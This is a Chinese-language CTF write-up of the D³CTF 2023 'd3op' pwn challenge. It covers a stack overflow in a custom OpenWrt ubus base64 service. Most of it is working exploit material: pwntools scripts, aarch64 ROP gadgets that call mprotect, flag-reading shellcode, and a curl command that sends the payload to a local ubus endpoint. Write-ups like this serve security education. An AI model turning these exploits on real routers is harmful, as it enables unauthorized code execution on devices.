AntCTF x D³CTF 2023 d3op复盘笔记
题目类型为PWN,描述如下:
1 2 3 4 5 d3op It might take a long time to start up, please connect about 2 minutes after the gambox start. HINTS: May be you need to do a diff with the rootfs in attachment.
题目文件:https://github.com/z1r00/ctf-pwn/blob/main/AntCTF%20x%20D%C2%B3CTF/d3op/d3op-attachment-d362854d3418636059155138fd58997c.zip
初步分析 把题目给的固件进行解包,然后发现是Openwrt 22.03.3
1 2 3 4 5 6 7 8 _______ ________ __ | |.-----.-----.-----.| | | |.----.| |_ | - || _ | -__| || | | || _|| _| |_______|| __|_____|__|__||________||__| |____| |__| W I R E L E S S F R E E D O M ----------------------------------------------------- OpenWrt 22.03.3, r20028-43d71ad93e -----------------------------------------------------
给的HINTS是diff一下,那就再从官网上下载一个22.03.3然后diff一下,diff结果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 diff: openwrt/squashfs-root/etc/TZ: No such file or directory Only in d3op/squashfs-root/etc/config: network diff: openwrt/squashfs-root/etc/localtime: No such file or directory diff: openwrt/squashfs-root/etc/mtab: No such file or directory diff: openwrt/squashfs-root/etc/ppp/resolv.conf: No such file or directory diff: openwrt/squashfs-root/etc/resolv.conf: No such file or directory diff --color -aur openwrt/squashfs-root/etc/shadow d3op/squashfs-root/etc/shadow @@ -1,4 +1,4 @@ -root:::0:99999:7::: +root:$6$JlPmKq/ZhqQ0I6V6$B74FL6cufcnZKT4G0sUz3xNP0Pr4k7yOG2I091f2OFOmcldS2s7CPJwOcfx0r/OshYDOFKw76APIqPHBXCdXb/:19442:::::: daemon:*:0:0:99999:7::: ftp:*:0:0:99999:7::: network:*:0:0:99999:7::: diff: openwrt/squashfs-root/etc/ssl/cert.pem: No such file or directory Only in d3op/squashfs-root: flag diff: openwrt/squashfs-root/sbin/insmod: No such file or directory diff: openwrt/squashfs-root/sbin/lsmod: No such file or directory diff: openwrt/squashfs-root/sbin/modinfo: No such file or directory diff: openwrt/squashfs-root/sbin/modprobe: No such file or directory diff: openwrt/squashfs-root/sbin/rmmod: No such file or directory diff: openwrt/squashfs-root/usr/bin/scp: No such file or directory diff: openwrt/squashfs-root/usr/bin/ssh: No such file or directory diff: openwrt/squashfs-root/usr/bin/wget: No such file or directory Only in d3op/squashfs-root/usr/libexec/rpcd: base64 diff --color -aur openwrt/squashfs-root/usr/share/rpcd/acl.d/unauthenticated.json d3op/squashfs-root/usr/share/rpcd/acl.d/unauthenticated.json @@ -1,13 +1,17 @@ { - "unauthenticated": { - "description": "Access controls for unauthenticated requests", - "read": { - "ubus": { - "session": [ - "access", - "login" - ] - } - } - } + "unauthenticated": { + "description": "Access controls for unauthenticated requests", + "read": { + "ubus": { + "session": [ + "access", + "login" + ], + "base64": [ + "decode", + "encode" + ] + } + } + } }
可以看到题目多了network,和base64这两个关键的东西
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Only in d3op/squashfs-root/usr/libexec/rpcd: base64 + "unauthenticated": { + "description": "Access controls for unauthenticated requests", + "read": { + "ubus": { + "session": [ + "access", + "login" + ], + "base64": [ + "decode", + "encode" + ] + } + } + }
同时也得知base64是属于ubus模块
ubus模块介绍
OpenWrt 提供了一个系统总线ubus,它类似于Linux桌面操作系统的d-Bus,目标是提供系统级的进程间通信(IPC)功能 。ubus在设计理念上与d-Bus基本保持一致,提供了系统级总线功能,与d-Bus相比减少了系统内存占用空间 ,这样可以适应于嵌入式Linux操作系统的低内存和低端CPU性能的特殊环境
ubus是OpenWrt的RPC工具,是OpenWrt的微系统总线架构 ,是在2011年加入OpenWrt中的。为了提供各种后台进程和应用程序之间的通信机制,ubus工程被开发出来
ubus命令用于控制调试相关ubus接口,主要命令说明如下:
1 2 3 4 5 - list [<path>] List objects - call <path> <method> [<message>] Call an object method - listen [<path>...] Listen for events - send <type > [<message>] Send an event - wait_for <object> [<object>...] Wait for multiple objects to appear on ubus
ubus list 即可看到当前ubus中注册的接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 root@(none):/ base64 container dhcp file hotplug.dhcp hotplug.iface hotplug.neigh hotplug.net hotplug.ntp hotplug.tftp iwinfo luci luci-rpc network network.device network.interface network.interface.lan network.interface.loopback network.rrdns network.wireless rc service session system uci
如果想要与base64进行交互的话用call,但是需要先知道base64的输入格式是什么
1 2 3 4 root@(none):/ 'base64' @1e449b72 "encode" :{"input" :"String" } "decode" :{"input" :"String" }
知道了有两个方法,一个是encode和decode,调用如下
1 2 3 4 root@(none):/ { "output" : "ejFyMAA=" }
可以看到z1r0被base64编码并输出出来,漏洞点大概率就出在base64这里,至此初步分析完成
漏洞分析 进入encode/decode的处理逻辑的完整命令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 int __cdecl main (int argc, const char **argv, const char **envp) { char v6[4096 ]; unsigned __int64 *specific_method; __int64 v8; __int64 *v9; int v10; unsigned __int64 *method; init_base64(); if ( argc <= 1 ) return 0 ; method = argv[1 ]; if ( check_method(method, "list" ) ) { v10 = read_input(0 , v6, 0xFFF uLL); v6[v10] = 0 ; v9 = sub_402478(v6); if ( v9 ) { v8 = sub_403C90(v9, "input" ); if ( v8 && sub_4059D0(v8) ) { specific_method = argv[2 ]; if ( !check_method(method, "call" ) ) { ckec(specific_method, *(v8 + 32 ), byte_4A2098); sub_40B230("{\"output\": \"%s\"}\n" , byte_4A2098); sub_400A10(v9); } return 0 ; } else { return 0 ; } } else { return 0 ; } } else { uloop_init(); return 0 ; } }
主函数是参数传递逻辑,当./base64 call 的时候会进入read_input
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 unsigned __int64 __fastcall sub_422E60 (int a1, void *a2, size_t a3) { unsigned __int64 v4; unsigned int v8; unsigned __int64 v9; int v10; int v11; if ( byte_4A0F78 ) { v4 = linux_eabi_syscall(__NR_read, a1, a2, a3); if ( v4 > 0xFFFFFFFFFFFFF000 LL ) { v10 = -v4; v4 = -1LL ; *(&dword_4A8590 + _ReadStatusReg(ARM64_SYSREG(3 , 3 , 13 , 0 , 2 ))) = v10; } return v4; } else { v8 = sub_444C30(); v9 = linux_eabi_syscall(__NR_read, a1, a2, a3); if ( v9 > 0xFFFFFFFFFFFFF000 LL ) { v11 = -v9; v9 = -1LL ; *(&dword_4A8590 + _ReadStatusReg(ARM64_SYSREG(3 , 3 , 13 , 0 , 2 ))) = v11; } sub_444CC0(v8); return v9; } }
read_input的逻辑就是可以继续输入一串数据,然后输入的数据进行一些处理之后会筛选出是否存在input,此时会进入下一个check逻辑
1 2 3 ckec(specific_method, *(v8 + 32 ), byte_4A2098); sub_40B230("{\"output\": \"%s\"}\n" , byte_4A2098); sub_400A10(v9);
看一下ckec
1 2 3 4 5 6 7 8 9 10 11 12 13 __int64 __fastcall sub_4064F0 (unsigned __int64 *a1, __int64 a2, __int64 a3) { if ( check_method(a1, "encode" ) ) { if ( !check_method(a1, "decode" ) ) decode(a2, a3); } else { encode(a2, a3); } return 0LL ; }
所以当执行./base64 call encode/decode的时候可以正常运行到encode/decode的处理逻辑
至此,得以进入decode/encode的处理逻辑的完整命令是
1 2 3 ➜ squashfs-root ./base64 call encode {"input" : "z1r0" } {"output" : "ejFyMAA=" }
漏洞点分析 先看一下decode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 __int64 __fastcall decode (char *json_input, __int64 out_put) { int v3; int v4; int v5; int v6; int v7; int v8; int v9; int v10; int v11; int v12; int v13; char v16[1028 ]; int v17; int v18; int v19; int v20; int v21; unsigned int size; unsigned int v23; unsigned int v24; unsigned int len; size = sub_400300(); if ( (size & 3 ) != 0 ) return 0LL ; len = 3 * (size >> 2 ); if ( json_input[size - 1 ] == '=' ) --len; if ( json_input[size - 2 ] == 61 ) --len; if ( out_put ) { v24 = 0 ; v23 = 0 ; while ( size > v24 ) { if ( json_input[v24] == 61 ) { ++v24; v3 = 0 ; } else { v4 = v24++; v3 = byte_4A1F98[json_input[v4]]; } v21 = v3; if ( json_input[v24] == 61 ) { ++v24; v5 = 0 ; } else { v6 = v24++; v5 = byte_4A1F98[json_input[v6]]; } v20 = v5; if ( json_input[v24] == 61 ) { ++v24; v7 = 0 ; } else { v8 = v24++; v7 = byte_4A1F98[json_input[v8]]; } v19 = v7; if ( json_input[v24] == 61 ) { ++v24; v9 = 0 ; } else { v10 = v24++; v9 = byte_4A1F98[json_input[v10]]; } v18 = v9; v17 = v9 + (v21 << 18 ) + (v20 << 12 ) + (v19 << 6 ); if ( len > v23 ) { v11 = v23++; v16[v11] = BYTE2(v17); } if ( len > v23 ) { v12 = v23++; v16[v12] = BYTE1(v17); } if ( len > v23 ) { v13 = v23++; v16[v13] = v17; } } sub_4002B0(); } return 0LL ; }
在decode最前面,会得到长度。如果decode的时候存在=号则len–,可以看到最后v16中的index并没有进行检查大小,导致溢出
到此漏洞点寻找完成
漏洞利用 接下来就是如何去利用这个漏洞,首先看一下保护
1 2 3 4 5 Arch: aarch64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
可以直接覆盖返回地址来劫持程序流,写出如下poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *from os import systemimport base64li = lambda x : print ('\x1b[01;38;5;214m' + str (x) + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + str (x) + '\x1b[0m' ) file_name = './base64' r = process([file_name, 'call' , 'decode' ]) def dbgg (): raw_input() elf = ELF(file_name) dbgg() p1 = b'aaaa' p1 = p1.ljust(0x458 , b"a" ) p1 = base64.b64encode(p1) ret = 0x406550 li(p1) p2 = b'{"input":"' + p1 + b'"}' li(p2) r.sendline(p2) r.interactive()
调试的时候发现会在下面这个地方SIGSEGV了
1 2 3 ► 0x406280 ldrb w0, [x0] 0x406284 cmp w0, 0x406288 b.ne
看一下汇编
1 2 3 4 5 .text:0000000000406274 E0 4B 84 B9 LDRSW X0, [SP,#0x450+var8] .text:0000000000406278 E1 0F 40 F9 LDR X1, [SP,#0x450+var_438] .text:000000000040627C 20 00 00 8B ADD X0, X1, X0 .text:0000000000406280 00 00 40 39 LDRB W0, [X0] .text:0000000000406284 1F F4 00 71 CMP W0, #0x3D ; '='
X0这里的地址取错了,0x450 - 8 = 0x448 = v24
,在溢出的时候把v24给覆盖了之后导致的SIGSEGV结果
所以需要把v22 v23 v24 v25都处置正确才可以继续
所以写了如下poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *from os import systemimport base64li = lambda x : print ('\x1b[01;38;5;214m' + str (x) + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + str (x) + '\x1b[0m' ) file_name = './base64' r = process([file_name, 'call' , 'decode' ]) def dbgg (): raw_input() elf = ELF(file_name) dbgg() p1 = b'' p1 = p1.ljust(0x418 , b'a' ) p1 += b'\x77\x77\x00\x00' p1 += b'\x1d\x04\x00\x00' p1 += b'\x84\x05\x00\x00' p1 += b'\x77\x07\x00\x00' p1 += p64(0 ) p1 += b'b' * 8 p1 = base64.b64encode(p1) ret = 0x406550 li(p1) p2 = b'{"input":"' + p1 + b'"}' li(p2) r.sendline(p2) r.interactive()
发现可以成功控制ret为0x6262626262626262,接下来就是构造rop
没找到system,但是发现了mprotect
1 2 3 4 5 6 7 8 9 10 11 12 13 14 unsigned __int64 __fastcall sub_423340 (void *a1, size_t a2, int a3) { unsigned __int64 result; int v4; result = linux_eabi_syscall(__NR_mprotect, a1, a2, a3); if ( result >= 0xFFFFFFFFFFFFF001 LL ) { v4 = result; result = -1LL ; *(&dword_4A8590 + _ReadStatusReg(ARM64_SYSREG(3 , 3 , 13 , 0 , 2 ))) = -v4; } return result; }
如果可以控制a1,a2,a3
就可以直接分配rwx来执行shellcode,用rwctf shellfind的方法来看交叉引用,从而寻找可以控制a1 a2 a3
中的一个,并且可以同时执行sub_423340
的地址
这样做的原因是因为笔者直接找借助x21 x19然后mov到x1 x2的gadgets,但是控制之后执行sub_423340
会因为x21 x19的设置导致一些问题
如果可以控制a1, a2, a3
中的任何一个并且可以执行sub_423340
,这个时候就可以跳到shellcode那里了
1 2 3 4 5 .text:00000000004578A8 61 EE 41 F9 LDR X1, [X19,#0x3D8] .text:00000000004578AC 60 F2 41 F9 LDR X0, [X19,#0x3E0] .text:00000000004578B0 21 00 00 CB SUB X1, X1, X0 .text:00000000004578B4 80 00 00 8B ADD X0, X4, X0 .text:00000000004578B8 A2 2E FF 97 BL sub_423340
上面这一段就符合要求,控制了x19之后然后再控制x2,最后到上面这一段
1 2 3 4 5 6 7 8 .text:00000000004579A4 E2 00 80 52 MOV W2, #7 .text:00000000004579A8 FD 03 00 91 MOV X29, SP .text:00000000004579AC 03 48 42 F9 LDR X3, [X0,#0x490] .text:00000000004579B0 01 4C 42 F9 LDR X1, [X0,#0x498] .text:00000000004579B4 00 50 42 F9 LDR X0, [X0,#0x4A0] .text:00000000004579B8 21 00 00 CB SUB X1, X1, X0 .text:00000000004579BC 60 00 00 8B ADD X0, X3, X0 .text:00000000004579C0 60 2E FF 97 BL sub_423340
官方wp上的要更简单,控制x0即可,然后跳到shellcode那里
shellcode可以用orw,下面是用base64运行时的exp,可以看到flag成功被输出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 from pwn import *from os import systemimport base64li = lambda x : print ('\x1b[01;38;5;214m' + str (x) + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + str (x) + '\x1b[0m' ) context(arch='aarch64' , os='linux' , log_level='debug' ) file_name = './base64' r = process([file_name, 'call' , 'decode' ]) def dbgg (): raw_input() elf = ELF(file_name) dbgg() shellcode = shellcraft.aarch64.linux.open ("/flag" , 0 ) shellcode += shellcraft.aarch64.linux.read(3 , 0x4a2098 , 0x100 ) shellcode += shellcraft.aarch64.linux.write(1 , 0x4a2098 , 0x100 ) p1 = asm(shellcode) p1 = p1.ljust(0x200 , b'a' ) p1 += p64(0 ) + p64(0x4A3000 ) + p64(0x4A0000 ) p1 = p1.ljust(0x418 , b'a' ) p1 += b'\x77\x77\x00\x00' p1 += b'\x1d\x04\x00\x00' p1 += b'\x84\x05\x00\x00' p1 += b'\x77\x07\x00\x00' p1 += p64(0 ) gadget1 = 0x000000000040064c gadget2 = 0x0000000000417920 gadget3 = 0x000000000040a95c gadget4 = 0x00000000004598c0 gadget6 = 0x0000000000444e14 gadget5 = 0x435338 ''' mov x1, x23 mov x0, x19 mov x2, x21 blr x20 ''' ''' .text:00000000004578A8 61 EE 41 F9 LDR X1, [X19,#0x3D8] .text:00000000004578AC 60 F2 41 F9 LDR X0, [X19,#0x3E0] .text:00000000004578B0 21 00 00 CB SUB X1, X1, X0 .text:00000000004578B4 80 00 00 8B ADD X0, X4, X0 .text:00000000004578B8 A2 2E FF 97 BL sub_423340 ''' ''' .text:00000000004579A4 E2 00 80 52 MOV W2, #7 .text:00000000004579A8 FD 03 00 91 MOV X29, SP .text:00000000004579AC 03 48 42 F9 LDR X3, [X0,#0x490] .text:00000000004579B0 01 4C 42 F9 LDR X1, [X0,#0x498] .text:00000000004579B4 00 50 42 F9 LDR X0, [X0,#0x4A0] .text:00000000004579B8 21 00 00 CB SUB X1, X1, X0 .text:00000000004579BC 60 00 00 8B ADD X0, X3, X0 .text:00000000004579C0 60 2E FF 97 BL sub_423340 ''' magic_gadget = 0x00000000004579A4 gadget7 = 0x0000000000400898 mprotect_addr = 0x423340 base64_decode_addr = 0x4a2098 ''' p1 += p64(gadget4) p1 += b'\x00' * 0x20 p1 += p64(0) + p64(gadget1) p1 += p64(0) + p64(mprotect_addr) p1 += b'\x00' * 0x30 p1 += p64(0) + p64(gadget2) p1 += p64(0x4a2000) # x19 p1 += p64(0) * 2 + p64(gadget3) p1 += p64(0) * 2 + p64(7) # x21 p1 += p64(0) p1 += p64(0) + p64(base64_decode_addr) p1 += p64(0) * 4 + p64(0x7000) ''' p1 += p64(gadget7) p1 += b'\x00' * 0x20 p1 += p64(0 ) + p64(magic_gadget) p1 += p64(0 ) * 2 + p64(base64_decode_addr + 0x200 - 0x490 ) p1 += p64(base64_decode_addr) * 5 p1 = base64.b64encode(p1) ret = 0x406550 li(p1) p2 = b'{"input":"' + p1 + b'"}' li(p2) r.sendline(p2) r.interactive()
但是远程的时候会出现问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 * Trying 127.0.0.1:9999... * TCP_NODELAY set * Connected to 127.0.0.1 (127.0.0.1) port 9999 (#0) > POST /ubus HTTP/1.1 > Host: 127.0.0.1:9999 > User-Agent: curl/7.68.0 > Accept: */* > Content-Length: 1721 > Content-Type: application/x-www-form-urlencoded > Expect: 100-continue > * Mark bundle as not supporting multiuse < HTTP/1.1 100 Continue * We are completely uploaded and fine * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Connection: Keep-Alive < Transfer-Encoding: chunked < Keep-Alive: timeout=20 < Content-Type: application/json < * Connection #0 to host 127.0.0.1 left intact {"jsonrpc":"2.0","id":null,"result":[2]}
result里没有flag的输出,是因为输出的格式是{"output":"flag"}
,而上面的0x4a2098
这里直接存放的是flag,所以需要在一个地址里构造一下{"output": "
,然后再将flag放到后面,最后加上"}
即可
最终本地exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 from pwn import *from os import systemimport base64li = lambda x : print ('\x1b[01;38;5;214m' + str (x) + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + str (x) + '\x1b[0m' ) context(arch='aarch64' , os='linux' , log_level='debug' ) file_name = './base64' r = process([file_name, 'call' , 'decode' ]) def dbgg (): raw_input() elf = ELF(file_name) dbgg() shellcode = shellcraft.aarch64.linux.open ("/flag" , 0 ) shellcode += shellcraft.aarch64.linux.read(3 , 0x4a23a4 , 0x100 ) shellcode += shellcraft.aarch64.linux.write(1 , 0x4a2398 , 0x100 ) p1 = asm(shellcode) p1 = p1.ljust(0x200 , b'a' ) p1 += p64(0 ) + p64(0x4A3000 ) + p64(0x4A0000 ) p1 = p1.ljust(0x300 , b'a' ) p1 += b'{"output": "' p1 = p1.ljust(0x350 , b'a' ) p1 += b'"}' p1 = p1.ljust(0x418 , b'a' ) p1 += b'\x77\x77\x00\x00' p1 += b'\x1d\x04\x00\x00' p1 += b'\x84\x05\x00\x00' p1 += b'\x77\x07\x00\x00' p1 += p64(0 ) gadget1 = 0x000000000040064c gadget2 = 0x0000000000417920 gadget3 = 0x000000000040a95c gadget4 = 0x00000000004598c0 gadget6 = 0x0000000000444e14 gadget5 = 0x435338 ''' mov x1, x23 mov x0, x19 mov x2, x21 blr x20 ''' ''' .text:00000000004578A8 61 EE 41 F9 LDR X1, [X19,#0x3D8] .text:00000000004578AC 60 F2 41 F9 LDR X0, [X19,#0x3E0] .text:00000000004578B0 21 00 00 CB SUB X1, X1, X0 .text:00000000004578B4 80 00 00 8B ADD X0, X4, X0 .text:00000000004578B8 A2 2E FF 97 BL sub_423340 ''' ''' .text:00000000004579A4 E2 00 80 52 MOV W2, #7 .text:00000000004579A8 FD 03 00 91 MOV X29, SP .text:00000000004579AC 03 48 42 F9 LDR X3, [X0,#0x490] .text:00000000004579B0 01 4C 42 F9 LDR X1, [X0,#0x498] .text:00000000004579B4 00 50 42 F9 LDR X0, [X0,#0x4A0] .text:00000000004579B8 21 00 00 CB SUB X1, X1, X0 .text:00000000004579BC 60 00 00 8B ADD X0, X3, X0 .text:00000000004579C0 60 2E FF 97 BL sub_423340 ''' magic_gadget = 0x00000000004579A4 gadget7 = 0x0000000000400898 mprotect_addr = 0x423340 base64_decode_addr = 0x4a2098 ''' p1 += p64(gadget4) p1 += b'\x00' * 0x20 p1 += p64(0) + p64(gadget1) p1 += p64(0) + p64(mprotect_addr) p1 += b'\x00' * 0x30 p1 += p64(0) + p64(gadget2) p1 += p64(0x4a2000) # x19 p1 += p64(0) * 2 + p64(gadget3) p1 += p64(0) * 2 + p64(7) # x21 p1 += p64(0) p1 += p64(0) + p64(base64_decode_addr) p1 += p64(0) * 4 + p64(0x7000) ''' p1 += p64(gadget7) p1 += b'\x00' * 0x20 p1 += p64(0 ) + p64(magic_gadget) p1 += p64(0 ) * 2 + p64(base64_decode_addr + 0x200 - 0x490 ) p1 += p64(base64_decode_addr) * 5 p1 = base64.b64encode(p1) ret = 0x406550 li(p1) p2 = b'{"input":"' + p1 + b'"}' li(p2) r.sendline(p2) r.interactive()
远程如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *from os import systemli = lambda x : print ('\x1b[01;38;5;214m' + str (x) + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + str (x) + '\x1b[0m' ) ip = 'http://127.0.0.1:9999/ubus' p1 = '7sWM0o4trPLuDMDy7g8f+IDzn9Lg/7/y4P/f8uD///LhAwCR4gMfqggHgNIBAADUYACA0oF0hNJBCaDyAiCA0ugHgNIBAADUIACA0gFzhNJBCaDyAiCA0ggIgNIBAADUYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWEAAAAAAAAAAAAwSgAAAAAAAABKAAAAAABhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFheyJvdXRwdXQiOiAiYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWEifWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYXd3AAAdBAAAhAUAAHcHAAAAAAAAAAAAAJgIQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKR5RQAAAAAAAAAAAAAAAAAAAAAAAAAAAAgeSgAAAAAAmCBKAAAAAACYIEoAAAAAAJggSgAAAAAAmCBKAAAAAACYIEoAAAAAAA==' shell = '''curl -v -d '{"jsonrpc":"2.0","id":null, "method":"call", "params" : ["00000000000000000000000000000000", "base64", "decode", {"input" : "''' + p1 + '''"}]}' ''' + ip li(shell) system(shell)
远程交互如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 curl -v -d '{"jsonrpc":"2.0","id":null, "method":"call", "params" : ["00000000000000000000000000000000", "base64", "decode", {"input" : "7sWM0o4trPLuDMDy7g8f+IDzn9Lg/7/y4P/f8uD///LhAwCR4gMfqggHgNIBAADUYACA0oF0hNJBCaDyAiCA0ugHgNIBAADUIACA0gFzhNJBCaDyAiCA0ggIgNIBAADUYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWEAAAAAAAAAAAAwSgAAAAAAAABKAAAAAABhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFheyJvdXRwdXQiOiAiYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWEifWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYXd3AAAdBAAAhAUAAHcHAAAAAAAAAAAAAJgIQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKR5RQAAAAAAAAAAAAAAAAAAAAAAAAAAAAgeSgAAAAAAmCBKAAAAAACYIEoAAAAAAJggSgAAAAAAmCBKAAAAAACYIEoAAAAAAA=="}]}' http://127.0.0.1:9999/ubus * Trying 127.0.0.1:9999... * TCP_NODELAY set * Connected to 127.0.0.1 (127.0.0.1) port 9999 (#0) > POST /ubus HTTP/1.1 > Host: 127.0.0.1:9999 > User-Agent: curl/7.68.0 > Accept: */* > Content-Length: 1721 > Content-Type: application/x-www-form-urlencoded > Expect: 100-continue > * Mark bundle as not supporting multiuse < HTTP/1.1 100 Continue * We are completely uploaded and fine * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Connection: Keep-Alive < Transfer-Encoding: chunked < Keep-Alive: timeout=20 < Content-Type: application/json < * Connection #0 to host 127.0.0.1 left intact 